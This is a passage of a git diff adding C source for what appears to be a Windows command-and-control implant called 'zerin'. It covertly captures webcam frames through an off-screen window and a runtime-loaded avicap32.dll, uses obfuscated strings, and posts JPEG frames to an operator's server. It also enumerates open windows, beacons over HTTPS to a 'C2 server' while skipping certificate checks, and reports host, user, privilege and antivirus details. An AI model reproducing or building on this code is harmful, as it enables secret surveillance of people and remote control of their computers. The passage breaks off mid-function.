bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + bmi.bmiHeader.biWidth = w; + bmi.bmiHeader.biHeight = -h; /* negative = top-down */ + bmi.bmiHeader.biPlanes = 1; + bmi.bmiHeader.biBitCount = 24; + bmi.bmiHeader.biCompression = BI_RGB; + + int ok = GetDIBits(hdc_mem, hbmp, 0, (UINT)h, rgb_buf, &bmi, DIB_RGB_COLORS); + + SelectObject(hdc_mem, old_bmp); + DeleteObject(hbmp); + DeleteDC(hdc_mem); + ReleaseDC(st->cap_window, hdc_cap); + + if (!ok) return -1; + + /* GetDIBits returns BGR — swap to RGB in-place */ + size_t row_stride = ((size_t)w * 3 + 3) & ~(size_t)3; + for (int row = 0; row < h; row++) { + uint8_t *p = rgb_buf + (size_t)row * row_stride; + for (int x = 0; x < w; x++) { + uint8_t t = p[0]; p[0] = p[2]; p[2] = t; + p += 3; + } + } + + return 0; +} + +/* ── Convert callback DIB data to RGB ──────────────────────────────── */ + +static int webcam_convert_callback_dib(webcam_state_t *st, uint8_t *rgb_buf) { + int w = st->cap_width; + int h = st->cap_height; + + switch (st->pixel_format) { + case WEBCAM_FMT_RGB24: + case WEBCAM_FMT_RGB32: { + size_t src_row_size = (size_t)w * st->bpp; + size_t src_stride = (src_row_size + 3) & ~(size_t)3; + size_t expected = src_stride * (size_t)h; + if ((size_t)st->dib_len < expected) return -1; + for (int row = 0; row < h; row++) { + const uint8_t *s = st->dib_data + (size_t)(h - 1 - row) * src_stride; + uint8_t *d = rgb_buf + (size_t)row * w * 3; + for (int x = 0; x < w; x++) { + d[x * 3 + 0] = s[x * st->bpp + 2]; /* R */ + d[x * 3 + 1] = s[x * st->bpp + 1]; /* G */ + d[x * 3 + 2] = s[x * st->bpp + 0]; /* B */ + } + } + return 0; + } + case WEBCAM_FMT_YUY2: { + size_t expected = (size_t)w * h * 2; + if ((size_t)st->dib_len < expected) return -1; + yuy2_to_rgb(st->dib_data, rgb_buf, w, h); + return 0; + } + case WEBCAM_FMT_NV12: { + size_t expected = (size_t)w * h * 3 / 2; + if ((size_t)st->dib_len < expected) return -1; + nv12_to_rgb(st->dib_data, rgb_buf, w, h); + return 0; + } + } + return -1; +} + +/* ── Capture thread ────────────────────────────────────────────────── */ + +static DWORD WINAPI webcam_capture_thread(LPVOID param) { + webcam_state_t *st = (webcam_state_t *)param; + + /* Init WinHTTP */ + wchar_t ua_wide[256]; + webcam_to_wide(st->user_agent, ua_wide, 256); + st->session = WinHttpOpen(ua_wide, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + if (!st->session) goto cleanup; + + wchar_t path_buf[512]; + webcam_parse_url(st->server_url, st->host, 512, &st->port, &st->use_tls, path_buf, 512); + st->connect = WinHttpConnect(st->session, st->host, st->port, 0); + if (!st->connect) goto cleanup; + + /* Load avicap32.dll at runtime (not in IAT) */ + if (load_avicap32() != 0) goto cleanup; + + /* Create capture window — positioned off-screen, sized at default resolution. + Will be resized to actual capture resolution in webcam_try_connect(). */ + char wcam_cls[32]; + obf_decrypt_to(OBF_WEBCAM_CLASS, wcam_cls, sizeof(wcam_cls)); + st->cap_window = pfn_capCreate(wcam_cls, WS_POPUP, + -32000, -32000, 640, 480, NULL, 0); + if (!st->cap_window) goto cleanup; + + /* Connect to webcam with format negotiation — starts preview mode */ + if (webcam_try_connect(st) != 0) goto cleanup; + + /* Capture loop */ + webcam_jpeg_buf_t jpeg = { NULL, 0, 0 }; + uint8_t *rgb_buf = NULL; + size_t rgb_cap = 0; + MSG msg; + DWORD start_tick = GetTickCount(); + DWORD sleep_ms = 1000 / (st->target_fps > 0 ? st->target_fps : 10); + + while (InterlockedCompareExchange(&st->running, 1, 1) == 1) { + /* Pump window messages — preview mode delivers frames via messages */ + while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) { + TranslateMessage(&msg); + DispatchMessage(&msg); + } + + int w = st->cap_width; + int h = st->cap_height; + size_t rgb_size = (size_t)w * h * 3; + + /* Ensure RGB buffer is allocated */ + if (rgb_size > rgb_cap) { + uint8_t *tmp = (uint8_t *)realloc(rgb_buf, rgb_size); + if (tmp) { rgb_buf = tmp; rgb_cap = rgb_size; } + else { Sleep(10); continue; } + } + + int got_frame = 0; + + if (st->capture_mode == WEBCAM_MODE_PREVIEW) { + /* Primary: check if preview callback delivered a frame */ + if (InterlockedCompareExchange(&st->new_frame, 0, 0)) { + InterlockedExchange(&st->new_frame, 0); + EnterCriticalSection(&st->dib_lock); + if (st->dib_data && st->dib_len > 0) { + got_frame = (webcam_convert_callback_dib(st, rgb_buf) == 0); + } + LeaveCriticalSection(&st->dib_lock); + } + + /* If no frames from preview after 3 seconds, switch to GDI fallback */ + if (!got_frame && st->frame_number == 0 && + (GetTickCount() - start_tick) > 3000) { + SendMessage(st->cap_window, WM_CAP_SET_PREVIEW, (WPARAM)FALSE, 0); + st->capture_mode = WEBCAM_MODE_GDI; + } + } + + if (st->capture_mode == WEBCAM_MODE_GDI) { + /* Fallback: grab frame + read via GDI BitBlt */ + got_frame = (webcam_gdi_grab(st, rgb_buf, w, h) == 0); + } + + if (got_frame && rgb_buf) { + /* Encode JPEG via TurboJPEG */ + { + static tjhandle tj = NULL; + if (!tj) tj = tjInitCompress(); + if (tj) { + unsigned long maxSize = tjBufSize(w, h, TJSAMP_420); + if (jpeg.cap < maxSize) { + uint8_t *nb = (uint8_t *)realloc(jpeg.data, maxSize); + if (nb) { jpeg.data = nb; jpeg.cap = maxSize; } + } + if (jpeg.data && jpeg.cap >= maxSize) { + unsigned long jpegSize = (unsigned long)jpeg.cap; + unsigned char *jpegBuf = jpeg.data; + int rc = tjCompress2(tj, rgb_buf, + w, 0, h, TJPF_RGB, + &jpegBuf, &jpegSize, + TJSAMP_420, st->quality, + TJFLAG_FASTDCT | TJFLAG_NOREALLOC); + jpeg.data = jpegBuf; + jpeg.len = (rc == 0) ? (size_t)jpegSize : 0; + } else { + jpeg.len = 0; + } + } else { + jpeg.len = 0; + } + } + + if (jpeg.len > 0) { + webcam_post_frame(st, jpeg.data, jpeg.len, w, h); + } + } + + Sleep(got_frame ? sleep_ms : 1); + } + + /* Cleanup capture */ + if (st->capture_mode == WEBCAM_MODE_PREVIEW) + SendMessage(st->cap_window, WM_CAP_SET_PREVIEW, (WPARAM)FALSE, 0); + SendMessage(st->cap_window, WM_CAP_DRIVER_DISCONNECT, 0, 0); + DestroyWindow(st->cap_window); + + if (jpeg.data) free(jpeg.data); + if (rgb_buf) free(rgb_buf); + +cleanup: + if (st->connect) WinHttpCloseHandle(st->connect); + if (st->session) WinHttpCloseHandle(st->session); + return 0; +} + +/* ── Command handlers ──────────────────────────────────────────────── */ + +int cmd_webcam_start(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + if (task->num_args < 2) { + result->success = 0; + result->error_code = -1; + result->error_message = _strdup("webcam_start requires token and url args"); + return -1; + } + + /* Stop any existing session */ + if (g_webcam) { + InterlockedExchange(&g_webcam->running, 0); + if (g_webcam_thread) { + WaitForSingleObject(g_webcam_thread, 5000); + CloseHandle(g_webcam_thread); + g_webcam_thread = NULL; + } + DeleteCriticalSection(&g_webcam->dib_lock); + if (g_webcam->dib_data) free(g_webcam->dib_data); + free(g_webcam); + g_webcam = NULL; + } + + webcam_state_t *st = (webcam_state_t *)calloc(1, sizeof(webcam_state_t)); + if (!st) { + result->success = 0; + result->error_code = -1; + result->error_message = _strdup("out of memory"); + return -1; + } + + strncpy(st->token, task->args[0], sizeof(st->token) - 1); + strncpy(st->server_url, task->args[1], sizeof(st->server_url) - 1); + strncpy(st->user_agent, "Mozilla/5.0", sizeof(st->user_agent) - 1); + st->quality = (task->num_args >= 3 && task->args[2]) ? atoi(task->args[2]) : 60; + if (st->quality < 10) st->quality = 10; + if (st->quality > 100) st->quality = 100; + st->device_index = (task->num_args >= 4 && task->args[3]) ? atoi(task->args[3]) : -1; + st->target_fps = 10; + st->running = 1; + st->frame_number = 0; + st->capture_mode = WEBCAM_MODE_PREVIEW; + InitializeCriticalSection(&st->dib_lock); + + g_webcam = st; + g_webcam_thread = CreateThread(NULL, 0, webcam_capture_thread, st, 0, NULL); + + if (!g_webcam_thread) { + DeleteCriticalSection(&st->dib_lock); + free(st); + g_webcam = NULL; + result->success = 0; + result->error_code = -1; + result->error_message = _strdup("failed to create webcam thread"); + return -1; + } + + result->success = 1; + result->output = _strdup("cam started"); + return 0; +} + +int cmd_webcam_stop(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + if (!g_webcam) { + result->success = 1; + result->output = _strdup("no webcam session active"); + return 0; + } + + InterlockedExchange(&g_webcam->running, 0); + if (g_webcam_thread) { + WaitForSingleObject(g_webcam_thread, 5000); + CloseHandle(g_webcam_thread); + g_webcam_thread = NULL; + } + DeleteCriticalSection(&g_webcam->dib_lock); + if (g_webcam->dib_data) free(g_webcam->dib_data); + free(g_webcam); + g_webcam = NULL; + + result->success = 1; + result->output = _strdup("cam stopped"); + return 0; +} + +/* ── webcam_list: enumerate available VFW capture devices ──────────── */ + +int cmd_webcam_list(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + if (load_avicap32() != 0) { + result->success = 0; + result->error_code = -1; + result->error_message = _strdup("failed to load avicap32.dll"); + return -1; + } + + char output[2048]; + int pos = 0; + + for (int i = 0; i < 10; i++) { + char name[256] = {0}; + char desc[256] = {0}; + if (pfn_capGetDesc((UINT)i, name, sizeof(name), desc, sizeof(desc))) { + pos += snprintf(output + pos, sizeof(output) - (size_t)pos, + "%d|%s|%s\n", i, name, desc); + if (pos >= (int)sizeof(output) - 1) break; + } + } + + if (pos == 0) { + result->success = 1; + result->output = _strdup("no webcam devices found"); + return 0; + } + + result->success = 1; + result->output = _strdup(output); + return 0; +} + +#else /* !_WIN32 */ + +int cmd_webcam_start(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + result->success = 0; + result->error_code = -1; + result->error_message = _strdup("webcam not supported on this platform"); + return -1; +} + +int cmd_webcam_stop(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + result->success = 0; + result->error_code = -1; + result->error_message = _strdup("webcam not supported on this platform"); + return -1; +} + +int cmd_webcam_list(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + result->success = 0; + result->error_code = -1; + result->error_message = _strdup("webcam not supported on this platform"); + return -1; +} + +#endif /* _WIN32 */ diff --git a/src/commands/windows.c b/src/commands/windows.c new file mode 100755 index 0000000..97ecaf2 --- /dev/null +++ b/src/commands/windows.c @@ -0,0 +1,108 @@ +#include "zerin.h" +#include +#include +#include + +typedef struct { + char *buf; + size_t len; + size_t cap; + int count; +} win_enum_ctx_t; + +static void json_escape(char *dst, size_t dst_len, const char *src) { + size_t j = 0; + for (size_t i = 0; src[i] && j + 6 < dst_len; i++) { + unsigned char c = (unsigned char)src[i]; + if (c == '"') { dst[j++] = '\\'; dst[j++] = '"'; } + else if (c == '\\') { dst[j++] = '\\'; dst[j++] = '\\'; } + else if (c == '\n') { dst[j++] = '\\'; dst[j++] = 'n'; } + else if (c == '\r') { dst[j++] = '\\'; dst[j++] = 'r'; } + else if (c == '\t') { dst[j++] = '\\'; dst[j++] = 't'; } + else if (c < 0x20) { j += snprintf(dst + j, dst_len - j, "\\u%04x", c); } + else { dst[j++] = c; } + } + dst[j] = '\0'; +} + +static BOOL CALLBACK enum_windows_cb(HWND hwnd, LPARAM lParam) { + win_enum_ctx_t *ctx = (win_enum_ctx_t *)lParam; + + if (!IsWindowVisible(hwnd)) return TRUE; + + // Get window title (wide → UTF-8) + WCHAR title_w[512] = {0}; + GetWindowTextW(hwnd, title_w, 512); + char title[1024] = {0}; + WideCharToMultiByte(CP_UTF8, 0, title_w, -1, title, sizeof(title), NULL, NULL); + + // Skip empty titles + if (title[0] == '\0') return TRUE; + + // Get class name + WCHAR class_w[256] = {0}; + GetClassNameW(hwnd, class_w, 256); + char classname[512] = {0}; + WideCharToMultiByte(CP_UTF8, 0, class_w, -1, classname, sizeof(classname), NULL, NULL); + + // Get PID + DWORD pid = 0; + GetWindowThreadProcessId(hwnd, &pid); + + // Escape strings for JSON + char title_esc[2048] = {0}; + char class_esc[1024] = {0}; + json_escape(title_esc, sizeof(title_esc), title); + json_escape(class_esc, sizeof(class_esc), classname); + + // Format entry + char entry[4096]; + int entry_len = snprintf(entry, sizeof(entry), + "%s{\"hwnd\":%llu,\"title\":\"%s\",\"pid\":%lu,\"class\":\"%s\"}", + ctx->count > 0 ? "," : "", + (unsigned long long)(uintptr_t)hwnd, title_esc, (unsigned long)pid, class_esc); + + // Grow buffer if needed + while (ctx->len + (size_t)entry_len + 2 >= ctx->cap) { + ctx->cap *= 2; + char *new_buf = (char *)realloc(ctx->buf, ctx->cap); + if (!new_buf) return FALSE; + ctx->buf = new_buf; + } + + memcpy(ctx->buf + ctx->len, entry, entry_len); + ctx->len += entry_len; + ctx->count++; + + return TRUE; +} + +int cmd_windows(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + win_enum_ctx_t ctx; + ctx.cap = 8192; + ctx.len = 0; + ctx.count = 0; + ctx.buf = (char *)malloc(ctx.cap); + if (!ctx.buf) return -1; + + // Opening bracket + ctx.buf[ctx.len++] = '['; + + EnumWindows(enum_windows_cb, (LPARAM)&ctx); + + // Closing bracket + if (ctx.len + 2 >= ctx.cap) { + ctx.cap += 16; + char *new_buf = (char *)realloc(ctx.buf, ctx.cap); + if (!new_buf) { free(ctx.buf); return -1; } + ctx.buf = new_buf; + } + ctx.buf[ctx.len++] = ']'; + ctx.buf[ctx.len] = '\0'; + + result->success = true; + result->output = ctx.buf; + return 0; +} diff --git a/src/comms/http.c b/src/comms/http.c new file mode 100755 index 0000000..bfbafdb --- /dev/null +++ b/src/comms/http.c @@ -0,0 +1,262 @@ +#include "zerin.h" +#include +#include +#include + +typedef struct { + HINTERNET session; + HINTERNET connect; + wchar_t host[512]; + INTERNET_PORT port; + BOOL use_tls; + char user_agent[256]; +} http_ctx_t; + +// Convert narrow string to wide string +static int to_wide(const char *src, wchar_t *dst, size_t dst_chars) { + return MultiByteToWideChar(CP_UTF8, 0, src, -1, dst, (int)dst_chars); +} + +// Parse URL into host, port, and TLS flag +static int parse_url(const char *url, wchar_t *host, size_t host_chars, + INTERNET_PORT *port, BOOL *use_tls, wchar_t *path, size_t path_chars) { + const char *p = url; + *use_tls = FALSE; + + if (strncmp(p, "https://", 8) == 0) { + *use_tls = TRUE; + *port = 443; + p += 8; + } else if (strncmp(p, "http://", 7) == 0) { + *port = 80; + p += 7; + } else { + return -1; + } + + // Extract host + char host_narrow[512]; + + if (*p == '[') { + // IPv6: find closing bracket + const char *bracket_end = strchr(p, ']'); + if (!bracket_end) return -1; + size_t addr_len = (size_t)(bracket_end - p - 1); + if (addr_len >= sizeof(host_narrow)) return -1; + memcpy(host_narrow, p + 1, addr_len); + host_narrow[addr_len] = '\0'; + p = bracket_end + 1; + if (*p == ':') { + long pval = strtol(p + 1, NULL, 10); + if (pval > 0 && pval <= 65535) + *port = (INTERNET_PORT)pval; + } + // find path start + const char *slash = strchr(p, '/'); + to_wide(host_narrow, host, host_chars); + if (slash) { + to_wide(slash, path, path_chars); + } else { + path[0] = L'/'; path[1] = L'\0'; + } + } else { + // existing host parsing logic + const char *host_end = strchr(p, '/'); + const char *port_sep = strchr(p, ':'); + + if (port_sep && (!host_end || port_sep < host_end)) { + size_t hlen = (size_t)(port_sep - p); + if (hlen >= sizeof(host_narrow)) return -1; + memcpy(host_narrow, p, hlen); + host_narrow[hlen] = '\0'; + long pval = strtol(port_sep + 1, NULL, 10); + if (pval > 0 && pval <= 65535) + *port = (INTERNET_PORT)pval; + } else { + size_t hlen = host_end ? (size_t)(host_end - p) : strlen(p); + if (hlen >= sizeof(host_narrow)) return -1; + memcpy(host_narrow, p, hlen); + host_narrow[hlen] = '\0'; + } + + to_wide(host_narrow, host, host_chars); + + // Path + if (host_end) { + to_wide(host_end, path, path_chars); + } else { + path[0] = L'/'; path[1] = L'\0'; + } + } + + return 0; +} + +int http_init(transport_t *t, const char *url, const char *user_agent) { + http_ctx_t *ctx = (http_ctx_t *)calloc(1, sizeof(http_ctx_t)); + if (!ctx) return -1; + + strncpy(ctx->user_agent, user_agent ? user_agent : "Mozilla/5.0", 255); + ctx->user_agent[255] = '\0'; + + wchar_t ua_wide[256]; + to_wide(ctx->user_agent, ua_wide, 256); + + wchar_t path[512]; + if (parse_url(url, ctx->host, 512, &ctx->port, &ctx->use_tls, path, 512) != 0) { + free(ctx); + return -1; + } + + ctx->session = WinHttpOpen(ua_wide, + WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, 0); + if (!ctx->session) { + free(ctx); + return -1; + } + + ctx->connect = WinHttpConnect(ctx->session, ctx->host, ctx->port, 0); + if (!ctx->connect) { + WinHttpCloseHandle(ctx->session); + free(ctx); + return -1; + } + + t->ctx = ctx; + return 0; +} + +int http_send(transport_t *t, const char *endpoint, + const uint8_t *data, size_t data_len, + uint8_t **response, size_t *response_len) { + http_ctx_t *ctx = (http_ctx_t *)t->ctx; + if (!ctx) return -1; + + wchar_t ep_wide[512]; + to_wide(endpoint, ep_wide, 512); + + DWORD flags = ctx->use_tls ? WINHTTP_FLAG_SECURE : 0; + HINTERNET request = WinHttpOpenRequest(ctx->connect, L"POST", ep_wide, + NULL, WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, flags); + if (!request) return -1; + + // Self-signed cert handling: only ignore UNKNOWN_CA and CN_INVALID + // which are necessary for self-signed C2 server certificates. + // CERT_DATE_INVALID and CERT_WRONG_USAGE are NOT ignored to prevent + // accepting expired or misused certificates in MITM scenarios. + // TODO: implement certificate pinning to replace flag-based bypasses. + if (ctx->use_tls) { + DWORD sec_flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID; + if (!WinHttpSetOption(request, WINHTTP_OPTION_SECURITY_FLAGS, + &sec_flags, sizeof(sec_flags))) { +#ifdef _DEBUG + printf("[DEBUG] WinHttpSetOption failed for security flags: %lu\n", GetLastError()); +#endif + } + } + + // Set content type + WinHttpAddRequestHeaders(request, + L"Content-Type: application/octet-stream\r\n", + (ULONG)-1L, WINHTTP_ADDREQ_FLAG_ADD | WINHTTP_ADDREQ_FLAG_REPLACE); + + // Send request + BOOL ok = WinHttpSendRequest(request, WINHTTP_NO_ADDITIONAL_HEADERS, 0, + (LPVOID)data, (DWORD)data_len, + (DWORD)data_len, 0); + if (!ok) { + WinHttpCloseHandle(request); + return -1; + } + + // Receive response + ok = WinHttpReceiveResponse(request, NULL); + if (!ok) { + WinHttpCloseHandle(request); + return -1; + } + + // Check status code + DWORD status_code = 0; + DWORD status_size = sizeof(status_code); + if (!WinHttpQueryHeaders(request, + WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, &status_code, &status_size, + WINHTTP_NO_HEADER_INDEX)) { + status_code = 0; // Force failure path + } + + if (status_code != 200) { + WinHttpCloseHandle(request); + return -1; + } + + // Read response body (capped at 50 MiB to prevent OOM) + #define HTTP_MAX_RESPONSE (50 * 1024 * 1024) + size_t total_read = 0; + size_t buf_cap = 4096; + uint8_t *buf = (uint8_t *)malloc(buf_cap); + if (!buf) { WinHttpCloseHandle(request); return -1; } + + DWORD bytes_available, bytes_read; + while (WinHttpQueryDataAvailable(request, &bytes_available) && bytes_available > 0) { + if (total_read + bytes_available > HTTP_MAX_RESPONSE) { + free(buf); WinHttpCloseHandle(request); return -1; + } + if (total_read + bytes_available > buf_cap) { + buf_cap = (total_read + bytes_available) * 2; + if (buf_cap > HTTP_MAX_RESPONSE) buf_cap = HTTP_MAX_RESPONSE; + uint8_t *new_buf = (uint8_t *)realloc(buf, buf_cap); + if (!new_buf) { free(buf); WinHttpCloseHandle(request); return -1; } + buf = new_buf; + } + if (!WinHttpReadData(request, buf + total_read, bytes_available, &bytes_read)) { + free(buf); + WinHttpCloseHandle(request); + return -1; + } + total_read += bytes_read; + } + + WinHttpCloseHandle(request); + + *response = buf; + *response_len = total_read; + return 0; +} + +void http_cleanup(transport_t *t) { + http_ctx_t *ctx = (http_ctx_t *)t->ctx; + if (ctx) { + if (ctx->connect) WinHttpCloseHandle(ctx->connect); + if (ctx->session) WinHttpCloseHandle(ctx->session); + free(ctx); + t->ctx = NULL; + } +} + +// Transport vtable +transport_t transport_https = { + .init = http_init, + .send = http_send, + .cleanup = http_cleanup, + .ctx = NULL +}; + +int transport_do_key_exchange(transport_t *t, const char *base_url, + const uint8_t *kx_data, size_t kx_len, + uint8_t **response, size_t *response_len) { + (void)base_url; + return t->send(t, "/api/exchange", kx_data, kx_len, response, response_len); +} + +int transport_do_beacon(transport_t *t, const char *base_url, + const uint8_t *beacon_data, size_t beacon_len, + uint8_t **response, size_t *response_len) { + (void)base_url; + return t->send(t, "/api/beacon", beacon_data, beacon_len, response, response_len); +} diff --git a/src/comms/protocol.c b/src/comms/protocol.c new file mode 100755 index 0000000..ccff725 --- /dev/null +++ b/src/comms/protocol.c @@ -0,0 +1,487 @@ +#include "zerin.h" +#include +#include + +// ============================================================================ +// Buffer implementation +// ============================================================================ + +buffer_t *buffer_new(size_t initial_cap) { + buffer_t *buf = (buffer_t *)calloc(1, sizeof(buffer_t)); + if (!buf) return NULL; + buf->data = (uint8_t *)malloc(initial_cap); + if (!buf->data) { free(buf); return NULL; } + buf->cap = initial_cap; + buf->len = 0; + buf->pos = 0; + return buf; +} + +void buffer_free(buffer_t *buf) { + if (buf) { + if (buf->data) { + secure_zero(buf->data, buf->cap); + free(buf->data); + } + free(buf); + } +} + +static int buffer_ensure(buffer_t *buf, size_t additional) { + if (buf->len + additional <= buf->cap) return 0; + size_t new_cap = buf->cap * 2; + while (new_cap < buf->len + additional) new_cap *= 2; + uint8_t *new_data = (uint8_t *)realloc(buf->data, new_cap); + if (!new_data) return -1; + buf->data = new_data; + buf->cap = new_cap; + return 0; +} + +int buffer_write_u8(buffer_t *buf, uint8_t val) { + if (buffer_ensure(buf, 1) != 0) return -1; + buf->data[buf->len++] = val; + return 0; +} + +int buffer_write_u32(buffer_t *buf, uint32_t val) { + if (buffer_ensure(buf, 4) != 0) return -1; + buf->data[buf->len++] = (uint8_t)(val); + buf->data[buf->len++] = (uint8_t)(val >> 8); + buf->data[buf->len++] = (uint8_t)(val >> 16); + buf->data[buf->len++] = (uint8_t)(val >> 24); + return 0; +} + +int buffer_write_u64(buffer_t *buf, uint64_t val) { + if (buffer_ensure(buf, 8) != 0) return -1; + for (int i = 0; i < 8; i++) + buf->data[buf->len++] = (uint8_t)(val >> (i * 8)); + return 0; +} + +int buffer_write_i64(buffer_t *buf, int64_t val) { + return buffer_write_u64(buf, (uint64_t)val); +} + +int buffer_write_bytes(buffer_t *buf, const uint8_t *data, size_t len) { + if (buffer_write_u32(buf, (uint32_t)len) != 0) return -1; + if (len == 0) return 0; + if (buffer_ensure(buf, len) != 0) return -1; + memcpy(buf->data + buf->len, data, len); + buf->len += len; + return 0; +} + +int buffer_write_string(buffer_t *buf, const char *str) { + size_t len = str ? strlen(str) : 0; + return buffer_write_bytes(buf, (const uint8_t *)str, len); +} + +int buffer_read_u8(buffer_t *buf, uint8_t *val) { + if (buf->pos + 1 > buf->len) return -1; + *val = buf->data[buf->pos++]; + return 0; +} + +int buffer_read_u32(buffer_t *buf, uint32_t *val) { + if (buf->pos + 4 > buf->len) return -1; + *val = (uint32_t)buf->data[buf->pos] + | ((uint32_t)buf->data[buf->pos+1] << 8) + | ((uint32_t)buf->data[buf->pos+2] << 16) + | ((uint32_t)buf->data[buf->pos+3] << 24); + buf->pos += 4; + return 0; +} + +int buffer_read_u64(buffer_t *buf, uint64_t *val) { + if (buf->pos + 8 > buf->len) return -1; + *val = 0; + for (int i = 0; i < 8; i++) + *val |= ((uint64_t)buf->data[buf->pos++]) << (i * 8); + return 0; +} + +int buffer_read_i64(buffer_t *buf, int64_t *val) { + uint64_t u = 0; + int ret = buffer_read_u64(buf, &u); + *val = (int64_t)u; + return ret; +} + +// Maximum single allocation from wire data (16 MB) to prevent OOM from malicious lengths +#define WIRE_MAX_ALLOC (16 * 1024 * 1024) + +int buffer_read_bytes(buffer_t *buf, uint8_t **data, size_t *len) { + uint32_t l; + if (buffer_read_u32(buf, &l) != 0) return -1; + if (l > WIRE_MAX_ALLOC) return -1; + if ((size_t)l > buf->len - buf->pos) return -1; // Overflow-safe comparison + if (l == 0) { + *data = NULL; + *len = 0; + return 0; + } + *data = (uint8_t *)malloc(l); + if (!*data) return -1; + memcpy(*data, buf->data + buf->pos, l); + buf->pos += l; + *len = l; + return 0; +} + +int buffer_read_string(buffer_t *buf, char **str) { + uint32_t l; + if (buffer_read_u32(buf, &l) != 0) return -1; + if (l > WIRE_MAX_ALLOC) return -1; + if ((size_t)l > buf->len - buf->pos) return -1; // Overflow-safe comparison + *str = (char *)malloc(l + 1); + if (!*str) return -1; + if (l > 0) memcpy(*str, buf->data + buf->pos, l); + (*str)[l] = '\0'; + buf->pos += l; + return 0; +} + +// ============================================================================ +// CheckIn serialization +// ============================================================================ + +int checkin_serialize(const checkin_t *ci, buffer_t *buf) { + if (buffer_write_string(buf, ci->agent_id) != 0) return -1; + if (buffer_write_string(buf, ci->hostname) != 0) return -1; + if (buffer_write_string(buf, ci->username) != 0) return -1; + if (buffer_write_string(buf, ci->domain) != 0) return -1; + if (buffer_write_string(buf, ci->internal_ip) != 0) return -1; + if (buffer_write_u32(buf, ci->pid) != 0) return -1; + if (buffer_write_u32(buf, ci->ppid) != 0) return -1; + if (buffer_write_string(buf, ci->os_version) != 0) return -1; + if (buffer_write_string(buf, ci->arch) != 0) return -1; + if (buffer_write_string(buf, ci->process_name) != 0) return -1; + if (buffer_write_u8(buf, ci->elevated ? 1 : 0) != 0) return -1; + if (buffer_write_u32(buf, ci->integrity_level) != 0) return -1; + if (buffer_write_u32(buf, ci->sleep_interval) != 0) return -1; + if (buffer_write_u32(buf, ci->jitter_percent) != 0) return -1; + if (buffer_write_i64(buf, ci->kill_date) != 0) return -1; + if (buffer_write_string(buf, ci->av_product) != 0) return -1; + return 0; +} + +int checkin_deserialize(buffer_t *buf, checkin_t *ci) { + char *s; + memset(ci, 0, sizeof(*ci)); + + if (buffer_read_string(buf, &s) != 0) return -1; + strncpy(ci->agent_id, s, 36); ci->agent_id[36] = '\0'; free(s); + + if (buffer_read_string(buf, &s) != 0) return -1; + strncpy(ci->hostname, s, 255); ci->hostname[255] = '\0'; free(s); + + if (buffer_read_string(buf, &s) != 0) return -1; + strncpy(ci->username, s, 255); ci->username[255] = '\0'; free(s); + + if (buffer_read_string(buf, &s) != 0) return -1; + strncpy(ci->domain, s, 255); ci->domain[255] = '\0'; free(s); + + if (buffer_read_string(buf, &s) != 0) return -1; + strncpy(ci->internal_ip, s, 63); ci->internal_ip[63] = '\0'; free(s); + + if (buffer_read_u32(buf, &ci->pid) != 0) return -1; + if (buffer_read_u32(buf, &ci->ppid) != 0) return -1; + + if (buffer_read_string(buf, &s) != 0) return -1; + strncpy(ci->os_version, s, 255); ci->os_version[255] = '\0'; free(s); + + if (buffer_read_string(buf, &s) != 0) return -1; + strncpy(ci->arch, s, 7); ci->arch[7] = '\0'; free(s); + + if (buffer_read_string(buf, &s) != 0) return -1; + strncpy(ci->process_name, s, 259); ci->process_name[259] = '\0'; free(s); + + uint8_t elev; + if (buffer_read_u8(buf, &elev) != 0) return -1; + ci->elevated = elev ? true : false; + + if (buffer_read_u32(buf, &ci->integrity_level) != 0) return -1; + if (buffer_read_u32(buf, &ci->sleep_interval) != 0) return -1; + if (buffer_read_u32(buf, &ci->jitter_percent) != 0) return -1; + if (buffer_read_i64(buf, &ci->kill_date) != 0) return -1; + + // av_product (optional — may not be present in older payloads) + if (buf->pos < buf->len) { + if (buffer_read_string(buf, &s) != 0) return -1; + strncpy(ci->av_product, s, 127); ci->av_product[127] = '\0'; free(s); + } + return 0; +} + +// ============================================================================ +// Envelope serialization +// ============================================================================ + +int envelope_serialize(const envelope_t *env, buffer_t *buf) { + if (buffer_write_u32(buf, env->message_type) != 0) return -1; + if (buffer_write_u64(buf, env->sequence_number) != 0) return -1; + if (buffer_write_string(buf, env->agent_id) != 0) return -1; + if (buffer_write_i64(buf, env->timestamp) != 0) return -1; + if (buffer_write_bytes(buf, env->payload, env->payload_len) != 0) return -1; + return 0; +} + +int envelope_deserialize(buffer_t *buf, envelope_t *env) { + memset(env, 0, sizeof(*env)); + if (buffer_read_u32(buf, &env->message_type) != 0) return -1; + if (buffer_read_u64(buf, &env->sequence_number) != 0) return -1; + + char *s; + if (buffer_read_string(buf, &s) != 0) return -1; + strncpy(env->agent_id, s, 36); env->agent_id[36] = '\0'; free(s); + + if (buffer_read_i64(buf, &env->timestamp) != 0) return -1; + if (buffer_read_bytes(buf, &env->payload, &env->payload_len) != 0) return -1; + return 0; +} + +// ============================================================================ +// Task deserialization +// ============================================================================ + +int task_deserialize(buffer_t *buf, task_t *task) { + char *s; + memset(task, 0, sizeof(*task)); + + if (buffer_read_string(buf, &s) != 0) return -1; + strncpy(task->task_id, s, 36); task->task_id[36] = '\0'; free(s); + + if (buffer_read_string(buf, &s) != 0) return -1; + strncpy(task->command, s, 63); task->command[63] = '\0'; free(s); + + if (buffer_read_u32(buf, &task->num_args) != 0) return -1; + if (task->num_args > TASK_MAX_ARGS) return -1; + + for (uint32_t i = 